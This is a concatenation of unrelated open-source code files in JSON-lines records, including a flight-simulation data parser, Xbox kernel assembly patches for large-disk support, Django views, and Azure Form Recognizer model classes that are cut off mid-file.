find_simudata_in_directory(directory),\n simudata_file_in_directory(directory),\n force=force,\n )\n\n\ndef simudata_trans(src_file: str) -> pd.DataFrame:\n mpa = MpsProtoAircraft()\n with open(src_file, 'rb') as f:\n con = f.read()\n index = 1\n data = {\n 'id': [],\n 'type': [],\n 'time': [],\n 'lng': [],\n 'lat': [],\n 'height': [],\n 'roll': [],\n 'pitch': [],\n 'yaw': [],\n 'speed': [],\n 'x': [],\n 'y': [],\n }\n while index < len(con):\n cur = index\n lengths = []\n while con[cur] >= 128:\n lengths.append(con[cur] - 128)\n cur += 1\n if len(lengths) < 5:\n lengths.append(con[cur])\n lengths.reverse()\n\n final_length = 0\n for length in lengths:\n final_length = final_length * 128 + length\n content = con[cur + 1:cur + 1 + final_length]\n mpa.ParseFromString(content)\n\n if mpa.head.type != 7030102:\n data['id'].append(mpa.head.id)\n data['type'].append(mpa.head.type)\n data['time'].append(mpa.head.time)\n data['lng'].append(mpa.head.lng)\n data['lat'].append(mpa.head.lat)\n data['height'].append(mpa.head.h)\n data['roll'].append(mpa.roll)\n data['pitch'].append(mpa.pitch)\n data['yaw'].append(mpa.yaw)\n data['speed'].append(mpa.speed)\n\n lng, lat = mpa.head.lng, mpa.head.lat\n x, y = epsg4326_to_3857(lng, lat)\n data['x'].append(x)\n data['y'].append(y)\n\n index = cur + 1 + final_length + 1\n\n return pd.DataFrame(data)\n\n\ndef simudata_process(src_file: str, dst_file: str, force: bool = False):\n if not force and os.path.exists(dst_file):\n return\n\n df = simudata_trans(src_file)\n df.to_csv(dst_file)\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"} {"text": "from .common import XboxPatch, PatchType\n\n#-----------------------------------------------------------------------------\n# M8+ Patch Definitions\n#-----------------------------------------------------------------------------\n\nclass Patch_HddStartVerify(XboxPatch):\n TYPE = PatchType.INLINE\n HOOK_ADDRESS = 0x800243AA\n\n EXPECTED_LENGTH = 1\n ASSEMBLY = \\\n \"\"\"\n int3\n \"\"\"\n\nclass Patch_HddVerify(XboxPatch):\n TYPE = PatchType.INLINE\n HOOK_ADDRESS = 0x8002443F\n\n EXPECTED_LENGTH = 1\n ASSEMBLY = \\\n \"\"\"\n int3\n \"\"\"\n\nclass Patch_HddCompleteRw(XboxPatch):\n TYPE = PatchType.INLINE\n HOOK_ADDRESS = 0x80024485\n\n EXPECTED_LENGTH = 78\n ASSEMBLY = \\\n \"\"\"\n\n ;\n ; this may look like a lot, but it is mostly the original code\n ; with a few things moved around so the tweaks can fit as a\n ; native inline patch\n ;\n\n loc_one:\n mov eax, [esi+4]\n and eax, 0FFFFFFF8h\n cmp eax, 20000h\n jbe loc_three\n call 0x80014FBA\n test al, al\n jz loc_two\n pop edi\n pop esi\n jmp 0x80024E48\n\n loc_two:\n add dword ptr [esi+4], 0FFFE0000h\n add dword ptr [esi+10h], 20000h\n add dword ptr [esi+0Ch], 20h\n push edi\n push dword ptr [esi+14h]\n call dword ptr ds:[0x8003BD30]\n jmp loc_four\n\n loc_three:\n mov [esi+4], eax\n nop\n nop\n and dword ptr [edi+10h], 0\n mov dl, 1\n mov ecx, edi\n call 0x8001660E\n nop\n\n loc_four:\n \"\"\"\n\nclass Patch_HddStartRw_Length(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x800244E6\n\n ASSEMBLY = \\\n \"\"\"\n ; clobbered by hook\n mov eax, 20000h\n\n ; TransferLength = IRP->Parameters.HddRw.Length & 0xFFFFFFF8\n and edi, 0xFFFFFFF8\n \"\"\"\n\nclass Patch_HddStartRw_Transfer(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80024534\n HOOK_RETURN = 0x80024560\n\n # ~120 bytes\n ASSEMBLY = \\\n \"\"\"\n\n ;\n ; StartingSector = IRP->Parameters.HddRw.StartingSector\n ; StartingSector <<= 3\n ;\n\n mov ebx, [esi+0Ch] ; ebx = StartingSector (in 4K)\n xor ecx, ecx\n shld ecx, ebx, 3\n shl ebx, 3 ; ecx:ebx = StartingSector (ecx = upper32, ebx = lower32)\n\n ;\n ; if (IRP->Parameters.HddRw.Length & 0x7)\n ;\n\n mov eax, [esi+4] ; eax = Length (in bytes)\n and eax, 7\n jz Lba48Transfer\n\n ;\n ; StartingSector += (IRP->Parameters.HddRw.Length & 0x7);\n ;\n\n add ebx, eax\n adc ecx, 0\n\n ;\n ; Lba48Transfer(HDD_DEVICE_NUMBER, StartingSector, SectorCount)\n ;\n ; ecx:ebx = StartingSector (in 512 sectors)\n ; edi = TransferLength (in bytes)\n ;\n\n Lba48Transfer:\n\n ; - WriteSectorCountPort((SectorCount & 0xFF00) >> 8));\n mov eax, edi\n shr eax, 11h\n mov dx, 1F2h\n out dx, al\n\n ; - WritePortByte(LBA48_LOW_REGISTER, (StartingSector & 0xFF000000) >> 24);\n mov edx, ecx\n mov eax, ebx\n shrd eax, edx, 18h\n shr edx, 18h\n mov dx, 1F3h\n out dx, al\n\n ; - WritePortByte(LBA48_MID_REGISTER, (StartingSector & 0xFF00000000) >> 32);\n mov al, cl\n inc dx\n out dx, al\n\n ; - WritePortByte(LBA48_HIGH_REGISTER, (StartingSector & 0xFF0000000000) >> 40));\n mov eax, ecx\n shr eax, 8\n mov dx, 1F5h\n out dx, al\n\n ; - WriteSectorCountPort(SectorCount & 0xFF);\n add dx, 0FFFDh\n mov eax, edi\n shr eax, 9\n out dx, al\n\n ; - WritePortByte(LBA48_LOW_REGISTER, (sector & 0xFF));\n mov dx, 1F3h\n mov al, bl\n out dx, al\n\n ; - WritePortByte(LBA48_MID_REGISTER, (sector & 0xFF00) >> 8);\n mov edx, ecx\n mov eax, ebx\n shrd eax, edx, 8\n shr edx, 8\n mov dx, 1F4h\n out dx, al\n\n ; - WritePortByte(LBA48_HIGH_REGISTER, (sector & 0xFF0000) >> 16);\n mov eax, ebx\n shrd eax, ecx, 10h\n shr ecx, 10h\n inc dx\n out dx, al\n\n ; - WriteDeviceSelectPort(HDD_DEVICE_NUMBER);\n mov dx, 1F6h\n mov al, 40h\n out dx, al\n\n ; 'fixup' for what the code normally expect dx to be on return\n mov dx, 1F2h\n \"\"\"\n\n FIXUPS = {\n 0x8002456A: \"mov al, 0x25\",\n 0x80024571: \"mov al, 0x35\"\n }\n\nclass Patch_HddRw_Save(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x80024632\n\n ASSEMBLY = \\\n \"\"\"\n ; clobbered by hook\n adc edx, dword ptr [ebp-4]\n\n ; 4K shift (also, clobbered, technically)\n mov cl, 12\n\n ; save lower32 of StartOffset back to stack\n mov [ebp-8], eax\n \"\"\"\n\nclass Patch_HddRw_Smuggle(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x8002465B\n HOOK_RETURN = HOOK_ADDRESS + 7\n\n ASSEMBLY = \\\n \"\"\"\n ; clobbered by hook\n mov eax, [edi+5Ch]\n or byte ptr [eax+3], 1\n\n ; fetch lower32 of StartOffset\n mov eax, dword ptr [ebp-8]\n\n ; compute remaining 512 segments\n shr eax, 9\n and eax, 7\n\n ; smuggle remaining segments through length field\n or dword ptr [esi+4], eax\n \"\"\"\n\nclass Patch_HddGetDriveGeometry(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x800246F3\n HOOK_RETURN = 0x80024702\n\n ASSEMBLY = \\\n \"\"\"\n mov edx, dword ptr ds:[0x8003C3B8]\n mov eax, [ecx+30h]\n mov [eax], edx\n mov edx, dword ptr ds:[0x8003C3B8+4]\n mov [eax+4], edx\n \"\"\"\n\nclass Patch_HddPartitionCreate(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x8002F066\n HOOK_RETURN = 0x8002F07C\n\n ASSEMBLY = \\\n \"\"\"\n\n ; eax:edx = g_HddSectors\n load_size:\n mov edx, dword ptr ds:[0x8003C3B8+4]\n mov eax, dword ptr ds:[0x8003C3B8]\n\n ;\n ; Check if g_HddSectors appears larger than what is normally\n ; used by retail systems (0xEE8AB0 sectors)\n ;\n\n test_upper:\n test edx, edx\n jnz compute_f_length ; upper32 bits set, clearly non-retail hdd\n\n test_lower:\n cmp eax, 0xEE8AB0\n jbe 0x8002F05C ; retail, do not honor the partition creation request\n\n compute_f_length:\n\n ; push SectorSize (64bit)\n push 0\n push 0x200\n\n ; push g_HddSectors (64bit)\n push edx\n push eax\n\n ; mul64(g_HddSectors, SectorSize)\n call 0x8002E030\n \"\"\"\n\nclass Patch_HddCreateQuick(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80024B5A\n HOOK_RETURN = 0x80024B61\n\n ASSEMBLY = \\\n \"\"\"\n ; save ecx (will get clobbered by mul64)\n push ecx\n\n ; push SectorSize (64bit)\n xor esi, esi ; esi also needs to be 0, returning from this patch\n push esi\n push edx ; edx is 512 (a.k.a, standard sector size)\n\n ; push g_HddSectors (64bit)\n mov edx, dword ptr ds:[0x8003C3B8+4]\n mov eax, dword ptr ds:[0x8003C3B8]\n push edx\n push eax\n\n ; mul64(g_HddSectors, SectorSize)\n call 0x8002E030\n\n ; restore ecx\n pop ecx\n \"\"\"\n\nclass Patch_HddCreate(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x8005546D\n\n ASSEMBLY = \\\n \"\"\"\n ; eax:ecx = IdentifyData.Max48BitLBA\n mov eax, dword ptr [ebp-0x160]\n mov ecx, dword ptr [ebp-0x15C]\n\n ; ULONGLONG g_HddSectors = eax:ecx\n mov dword ptr ds:[0x8003C3B8], eax\n mov dword ptr ds:[0x8003C3B8+4], ecx\n \"\"\"\n\nclass Patch_FatxParseSupeblock(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80027143\n HOOK_RETURN = 0x800271D9\n\n ASSEMBLY = \\\n \"\"\"\n ; 128 clusters per sector\n jz 0x80027149\n\n ; 256 clusters per sector\n sub ecx, 128\n jz 0x80027149\n\n ; 512 clusters per sector\n sub ecx, 256\n jz 0x80027149\n\n ; 1024 clusters per sector\n sub ecx, 512\n jz 0x80027149\n \"\"\"\n\nclass Patch_FatxStartAsyncIo(XboxPatch):\n TYPE = PatchType.JUMP\n HOOK_ADDRESS = 0x80029CE5\n HOOK_RETURN = 0x80029CFB\n\n ASSEMBLY = \\\n \"\"\"\n ;\n ; ebx = PhysicalLen\n ; eax = VolInfo\n ; edx = IoEntry\n ;\n\n ; ExtraSectors = IoLength & 7\n mov ecx, ebx\n and ecx, 7\n\n ;\n ; remove smuggled bits from IoLength\n ;\n ; PhysicalLen &= 0xFFFFFFF8\n ; IoEntry->PhysicalLen = PhysicalLen\n ;\n\n and ebx, 0xFFFFFFF8\n mov [edx+4], ebx\n\n ; AsyncDescriptor->LenRemaining -= PhysicalLen\n sub [esi+8], ebx\n\n ; eax = VolInfo->SectorShift\n movzx eax, byte ptr [eax+20h]\n\n ; ExtraSectorBytes = ExtraSectors << Volume->SectorShift\n xchg eax, ecx\n shl eax, cl\n xchg eax, ecx\n\n ; this is just temporary storage :-)\n ; NextIRP->Parameters.Read.ByteOffset.Lower32 = ExtraSectorBytes\n mov [edi+0Ch], ecx\n\n ; BigSectorShift = SectorShift + 3\n ; ecx = BigSectorShift\n add eax, 3\n mov ecx, eax\n\n ; result = (ULONGLONG)IoEntry->PhysicalSector << BigSectorShift\n mov eax, [edx]\n xor edx, edx\n call 0x8002E4C0 ; eax:edx = result\n\n ; NextIRP->Parameters.Read.ByteOffset.QuadPart = result + ExtraSectorBytes\n add [edi+0Ch], eax\n adc edx, 0\n mov [edi+10h], edx\n \"\"\"\n\nclass Patch_FatxAsyncIo(XboxPatch):\n TYPE = PatchType.CALL\n HOOK_ADDRESS = 0x80029E5B\n\n ASSEMBLY = \\\n \"\"\"\n ; eax = (ULONG)(PhysicalOffset >> (VolInfo->SectorShift + 3))\n add ecx, 3\n call 0x8002E4A0\n\n ; PhysicalLen |= ((ULONG)(PhysicalOffset >> VolInfo->SectorShift) & 7)\n mov edx, [ebp-18h] ; edx = PhysicalOffset\n mov cl, byte ptr [edi+20h] ; cl = VolInfo->SectorShift\n shr edx, cl ; edx >>= VolInfo->SectorShift\n and edx, 7 ; edx &= 7\n or [ebp+1Ch], edx ; PhysicalLen |= edx\n \"\"\"\n\n#-----------------------------------------------------------------------------\n# Enumerate Patches\n#-----------------------------------------------------------------------------\n\nKERNEL_PATCHES = \\\n[\n # TODO: these should probably patched for completeness but appear unused\n Patch_HddStartVerify,\n Patch_HddVerify,\n\n # LBA48 + sector expansion\n Patch_HddStartRw_Length,\n Patch_HddStartRw_Transfer,\n Patch_HddRw_Save,\n Patch_HddRw_Smuggle,\n Patch_HddCompleteRw,\n\n # expand g_HddSectors to 64bit\n Patch_HddGetDriveGeometry,\n Patch_HddPartitionCreate,\n Patch_HddCreateQuick,\n Patch_HddCreate,\n\n # allow larger cluster sizes (up to 512kb)\n Patch_FatxParseSupeblock,\n\n # smuggle sector bits for async disk IO\n Patch_FatxStartAsyncIo,\n Patch_FatxAsyncIo\n]", "source": "MakeMHz/titan", "license": "MIT"} {"text": "import math\nimport fractions\nimport functools\n\ndef lcm(a,b):\n return a // fractions.gcd(a,b) * b\n\nk = int(input())\nm = functools.reduce(lcm, range(1,k+1), 1)\n\nn = 2*m\nh = [0] * (n+1)\nqs = range(1,k+1)\n\nfor a in qs:\n for x in range(-m,m+1):\n y = 10*a*x\n if abs(y) <= 10*m:\n h[m+x] = y\n\nhmin = min(h)\nfor i in range(n+1):\n h[i] -= hmin\n\nprint('%d %d' % (n,len(qs)))\nprint(' '.join(str(y) for y in h))\nprint('\\n'.join('%.1f' % a for a in qs))\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"} {"text": "import sqlite3\nfrom typing import List\nfrom datetime import datetime\n\n\n# \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n# \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\n# \u2588\u2588 \u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\n# \u2588\u2588 \u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\n# \u2588\u2588\u2588 \u2588\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\n\n\nclass DB_WAITLIST:\n conn: sqlite3.Connection\n\n def add_user_to_waitlist(self, student_id: int, problem_id: int):\n args = locals()\n args['ts'] = datetime.now().isoformat()\n cur = self.conn.cursor()\n cur.execute(\"\"\"\n INSERT INTO waitlist ( student_id, entered, problem_id )\n VALUES (:student_id, :ts, :problem_id )\n \"\"\", args)\n self.conn.commit()\n\n def remove_user_from_waitlist(self, student_id: int):\n args = locals()\n cur = self.conn.cursor()\n cur.execute(\"\"\"\n DELETE FROM waitlist\n WHERE student_id = :student_id\n \"\"\", args)\n self.conn.commit()\n\n def get_waitlist_top(self, top_n: int) -> List[dict]:\n args = locals()\n cur = self.conn.cursor()\n cur.execute(\"\"\"\n SELECT * FROM waitlist\n ORDER BY entered\n LIMIT :top_n\n \"\"\", args)\n return cur.fetchall()\n", "source": "ShashkovS/vmsh_tasks_bot", "license": "MIT"} {"text": "from itertools import chain\nfrom .exprs import *\n\ndef predicate_to_cnf(e):\n \"\"\"\n Split AND tree into a list of conditions\n \"\"\"\n if not e:\n return []\n if e.is_type(\"Expr\") and e.op.lower() == \"and\":\n return list(chain(*map(predicate_to_cnf, [e.l, e.r])))\n if e.is_type(\"Paren\"):\n return [e.c]\n return [e]\n\ndef cnf_to_predicate(conds):\n \"\"\"\n turn list of conditions into an AND tree\n \"\"\"\n if not conds: return None\n cond = conds[0]\n for c in conds[1:]:\n cond = Expr(\"and\", cond, c)\n return cond\n\n\n", "source": "ivychen/databass-public", "license": "MIT"} {"text": "\"\"\"Test and test imports.\"\"\"\nfrom .radix_sort import radix_sort\nimport pytest\n\n\ndef test_empty_radix_sort():\n \"\"\"Test empty radix sort.\"\"\"\n assert radix_sort([]) == []\n\n\ndef test_small_radix_sort():\n \"\"\"Test small radix sort.\"\"\"\n assert radix_sort([1, 2, 3]) == [1, 2, 3]\n\n\ndef test_large_radix_sort():\n \"\"\"Test large radix sort.\"\"\"\n assert radix_sort([910, 78, 56, 34, 12]) == [12, 34, 56, 78, 910]", "source": "jayadams011/data-structures-and-algorithms", "license": "MIT"} {"text": "import subprocess\n\nclass Cmd:\n\tdef __init__(self, output_file, description, params):\n\t\tself.output_file = output_file\n\t\tself.description = description\n\t\tself.params = params\n\ncmds = [\n\tCmd(\"simple.png\", \"Simple\", \"\"),\n\tCmd(\"smoothed.png\", \"With smoothed elevations\", \"-sme\"),\n\tCmd(\"with_srtm_elevations.png\", \"With SRTM elevations\", \"-srtm\"),\n\tCmd(\"simple.svg\", \"SVG output\", \"-s 200,100\"),\n\tCmd(\"imperial.png\", \"Imperial units\", \"-im\"),\n\tCmd(\"custom_size.png\", \"Custom size\", \"-s 900,300\"),\n\tCmd(\"thicker_line.png\", \"Custom line width\", \"-lw 2\"),\n\tCmd(\"no_padding.png\", \"No padding\", \"-p 0,0,0,0\"),\n\tCmd(\"custom_padding.png\", \"Padding\", \"-p 50,20,20,20\" ),\n\tCmd(\"custom_font_size.png\", \"Custom font size\", \"-p 100,20,0,0 -f 10,20\"),\n\tCmd(\"custom_grid.png\", \"Custom grid\", \"-g 50,20\"),\n\tCmd(\"custom_labels.png\", \"Custom labels\", \"-l 250,20\"),\n\tCmd(\"custom_chart_padding.png\", \"Custom chart padding\", \"-cp 500,50,500,50\"),\n]\n\n\nfor cmd in cmds:\n\tcommand = f\"gpxchart {cmd.params} test_files/zbevnica.gpx examples/{cmd.output_file}\"\n\tsubprocess.check_output(command.replace(\" \", \" \").split(\" \"))\n\tprint(f\"### {cmd.description}\\n\")\n\tprint(f\"`{command}`\\n\")\n\tprint(f\"![{cmd.description}](examples/{cmd.output_file})\\n\")\n\nprint(\"\\n\\n^^^^^ COPY TO README\\n\\n\")", "source": "tkrajina/gpxchart", "license": "Apache-2.0"} {"text": "from django.shortcuts import render, render_to_response, redirect\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login\nfrom webpush import send_user_notification\nfrom .models import stock\nfrom django.core import serializers\nfrom django.http import JsonResponse\n\n# Create your views here.\n\n\ndef sign_up(request):\n form = UserCreationForm(request.POST)\n\n if request.method == 'POST':\n if form.is_valid():\n form.save()\n\n return redirect('user_login')\n\n return render(request=request, template_name=\"sign_up.html\", context={\"form\":form})\n\n\ndef user_login(request):\n form = AuthenticationForm()\n\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n \n if user is not None:\n payload = {\"head\": \"Welcome!\", \"body\": \"Hello World\"}\n send_user_notification(user=user, payload=payload, ttl=1000)\n login(request, user)\n return render(request=request, template_name=\"home.html\", context={\"form\":form})\n\n else:\n return render(request=request, template_name=\"login.html\", context={\"form\":form})\n\n return render(request=request, template_name=\"login.html\", context={\"form\":form})\n\n\ndef git_view(request):\n return render(request=request, template_name=\"githud.html\")\n\n\ndef push_view(request):\n\n return render(request=request, template_name=\"push.html\")\n\n\ndef stock_view(request):\n if request.method == 'POST':\n if request.POST['name'] and request.POST['quantity']:\n post = stock()\n post.item = request.POST['name']\n post.qnt = request.POST['quantity']\n post.save()\n \n return render(request, 'stock_inster.html') \n\n else:\n return render(request, 'stock_inster.html')\n\n\ndef stock_fetch(request):\n data = stock.objects.values()\n \n #post_list = serializers.serialize('json', list(data))\n\n return JsonResponse({'result': list(data)})\n\n\ndef stock_disp(request):\n return render(request, \"stock_fetch.html\")\n\n\ndef stock_update(request):\n if request.POST['item'] and request.POST['quantity']:\n stock.objects.filter(id=request.POST['item']).update(qnt=request.POST['quantity'])\n return render(request, 'stock_update.html')\n return render(request, 'stock_update.html')", "source": "nutansonale/Django_PWA_container", "license": "MIT"} {"text": "from distutils.core import setup\nfrom Cython.Build import cythonize\n\nsrc = [\n 'sic/core.py',\n 'sic/implicit.py'\n]\n\nsetup(ext_modules=cythonize(src, compiler_directives={'language_level': '3'}, build_dir='cythonized'))\n", "source": "pgolo/sic", "license": "MIT"} {"text": "# coding=utf-8\n# ------------------------------------\n# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT License.\n# ------------------------------------\n\n# pylint: disable=protected-access, too-many-lines\n\nfrom typing import Any, Iterable, List\nfrom enum import Enum\nfrom collections import namedtuple\nfrom ._generated.v2022_01_30_preview.models import ModelInfo, Error\nfrom ._helpers import (\n adjust_value_type,\n adjust_confidence,\n get_element,\n adjust_text_angle,\n _get_deserialize,\n)\n\n\ndef prepare_document_spans(spans):\n return [DocumentSpan._from_generated(span) for span in spans] if spans else []\n\n\ndef prepare_bounding_regions(regions):\n return (\n [BoundingRegion._from_generated(region) for region in regions]\n if regions\n else []\n )\n\n\ndef get_bounding_box(field):\n return (\n [\n Point(x=field.bounding_box[0], y=field.bounding_box[1]),\n Point(x=field.bounding_box[2], y=field.bounding_box[3]),\n Point(x=field.bounding_box[4], y=field.bounding_box[5]),\n Point(x=field.bounding_box[6], y=field.bounding_box[7]),\n ]\n if field.bounding_box\n else None\n )\n\n\ndef resolve_element(element, read_result):\n element_type, element, page = get_element(element, read_result)\n if element_type == \"word\":\n return FormWord._from_generated(element, page=page)\n if element_type == \"line\":\n return FormLine._from_generated(element, page=page)\n if element_type == \"selectionMark\":\n return FormSelectionMark._from_generated(element, page=page)\n raise ValueError(\"Failed to parse element reference.\")\n\n\ndef get_field_value(\n field, value, read_result\n): # pylint: disable=too-many-return-statements\n if value is None:\n return value\n if value.type == \"string\":\n return value.value_string\n if value.type == \"number\":\n return value.value_number\n if value.type == \"integer\":\n return value.value_integer\n if value.type == \"date\":\n return value.value_date\n if value.type == \"phoneNumber\":\n return value.value_phone_number\n if value.type == \"time\":\n return value.value_time\n if value.type == \"array\":\n return (\n [\n FormField._from_generated(field, value, read_result)\n for value in value.value_array\n ]\n if value.value_array\n else []\n )\n if value.type == \"object\":\n return (\n {\n key: FormField._from_generated(key, value, read_result)\n for key, value in value.value_object.items()\n }\n if value.value_object\n else {}\n )\n if value.type == \"selectionMark\":\n return value.value_selection_mark\n if value.type == \"countryRegion\":\n return value.value_country_region\n return None\n\n\ndef get_field_value_v3(value): # pylint: disable=too-many-return-statements\n if value is None:\n return value\n if value.type == \"string\":\n return value.value_string\n if value.type == \"number\":\n return value.value_number\n if value.type == \"integer\":\n return value.value_integer\n if value.type == \"date\":\n return value.value_date\n if value.type == \"phoneNumber\":\n return value.value_phone_number\n if value.type == \"time\":\n return value.value_time\n if value.type == \"signature\":\n return value.value_signature\n if value.type == \"array\":\n return (\n [DocumentField._from_generated(value) for value in value.value_array]\n if value.value_array\n else []\n )\n if value.type == \"currency\":\n return CurrencyValue._from_generated(value.value_currency)\n if value.type == \"object\":\n return (\n {\n key: DocumentField._from_generated(value)\n for key, value in value.value_object.items()\n }\n if value.value_object\n else {}\n )\n if value.type == \"selectionMark\":\n return value.value_selection_mark\n if value.type == \"countryRegion\":\n return value.value_country_region\n return None\n\nclass DocumentBuildMode(str, Enum):\n \"\"\"The mode used when building custom models.\n\n For more information, see https://aka.ms/azsdk/formrecognizer/buildmode.\n \"\"\"\n\n NEURAL = \"neural\"\n TEMPLATE = \"template\"\n\n\nclass FieldValueType(str, Enum):\n \"\"\"Semantic data type of the field value.\n\n .. versionadded:: v2.1\n The *selectionMark* and *countryRegion* values\n \"\"\"\n\n STRING = \"string\"\n DATE = \"date\"\n TIME = \"time\"\n PHONE_NUMBER = \"phoneNumber\"\n FLOAT = \"float\"\n INTEGER = \"integer\"\n LIST = \"list\"\n DICTIONARY = \"dictionary\"\n SELECTION_MARK = \"selectionMark\"\n COUNTRY_REGION = \"countryRegion\"\n\n\nclass LengthUnit(str, Enum):\n \"\"\"The unit used by the width, height and bounding box properties.\n For images, the unit is \"pixel\". For PDF, the unit is \"inch\".\n \"\"\"\n\n PIXEL = \"pixel\"\n INCH = \"inch\"\n\n\nclass TrainingStatus(str, Enum):\n \"\"\"Status of the training operation.\"\"\"\n\n SUCCEEDED = \"succeeded\"\n PARTIALLY_SUCCEEDED = \"partiallySucceeded\"\n FAILED = \"failed\"\n\n\nclass CustomFormModelStatus(str, Enum):\n \"\"\"Status indicating the model's readiness for use.\"\"\"\n\n CREATING = \"creating\"\n READY = \"ready\"\n INVALID = \"invalid\"\n\n\nclass FormContentType(str, Enum):\n \"\"\"Content type for upload.\n\n .. versionadded:: v2.1\n Support for image/bmp\n \"\"\"\n\n APPLICATION_PDF = \"application/pdf\"\n IMAGE_JPEG = \"image/jpeg\"\n IMAGE_PNG = \"image/png\"\n IMAGE_TIFF = \"image/tiff\"\n IMAGE_BMP = \"image/bmp\"\n\n\nclass Point(namedtuple(\"Point\", \"x y\")):\n \"\"\"The x, y coordinate of a point on a bounding box.\n\n :ivar float x: x-coordinate\n :ivar float y: y-coordinate\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n __slots__ = ()\n\n def __new__(cls, x, y):\n return super(Point, cls).__new__(cls, x, y)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of Point.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"x\": self.x, \"y\": self.y}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> Point\n \"\"\"Converts a dict in the shape of a Point to the model itself.\n\n :param dict data: A dictionary in the shape of Point.\n :return: Point\n :rtype: Point\n \"\"\"\n return cls(x=data.get(\"x\", None), y=data.get(\"y\", None))\n\n\nclass FormPageRange(namedtuple(\"FormPageRange\", \"first_page_number last_page_number\")):\n \"\"\"The 1-based page range of the form.\n\n :ivar int first_page_number: The first page number of the form.\n :ivar int last_page_number: The last page number of the form.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n __slots__ = ()\n\n def __new__(cls, first_page_number, last_page_number):\n return super(FormPageRange, cls).__new__(\n cls, first_page_number, last_page_number\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormPageRange.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"first_page_number\": self.first_page_number,\n \"last_page_number\": self.last_page_number,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormPageRange\n \"\"\"Converts a dict in the shape of a FormPageRange to the model itself.\n\n :param dict data: A dictionary in the shape of FormPageRange.\n :return: FormPageRange\n :rtype: FormPageRange\n \"\"\"\n return cls(\n first_page_number=data.get(\"first_page_number\", None),\n last_page_number=data.get(\"last_page_number\", None),\n )\n\n\nclass FormElement(object):\n \"\"\"Base type which includes properties for a form element.\n\n :ivar str text: The text content of the element.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind:\n The kind of form element. Possible kinds are \"word\", \"line\", or \"selectionMark\" which\n correspond to a :class:`~azure.ai.formrecognizer.FormWord` :class:`~azure.ai.formrecognizer.FormLine`,\n or :class:`~azure.ai.formrecognizer.FormSelectionMark`, respectively.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.page_number = kwargs.get(\"page_number\", None)\n self.text = kwargs.get(\"text\", None)\n self.kind = kwargs.get(\"kind\", None)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormElement.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormElement\n \"\"\"Converts a dict in the shape of a FormElement to the model itself.\n\n :param dict data: A dictionary in the shape of FormElement.\n :return: FormElement\n :rtype: FormElement\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n kind=data.get(\"kind\", None),\n bounding_box=[Point.from_dict(f) for f in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n )\n\n\nclass RecognizedForm(object):\n \"\"\"Represents a form that has been recognized by a trained or prebuilt model.\n The `fields` property contains the form fields that were extracted from the\n form. Tables, text lines/words, and selection marks are extracted per page\n and found in the `pages` property.\n\n :ivar str form_type:\n The type of form the model identified the submitted form to be.\n :ivar str form_type_confidence:\n Confidence of the type of form the model identified the submitted form to be.\n :ivar str model_id:\n 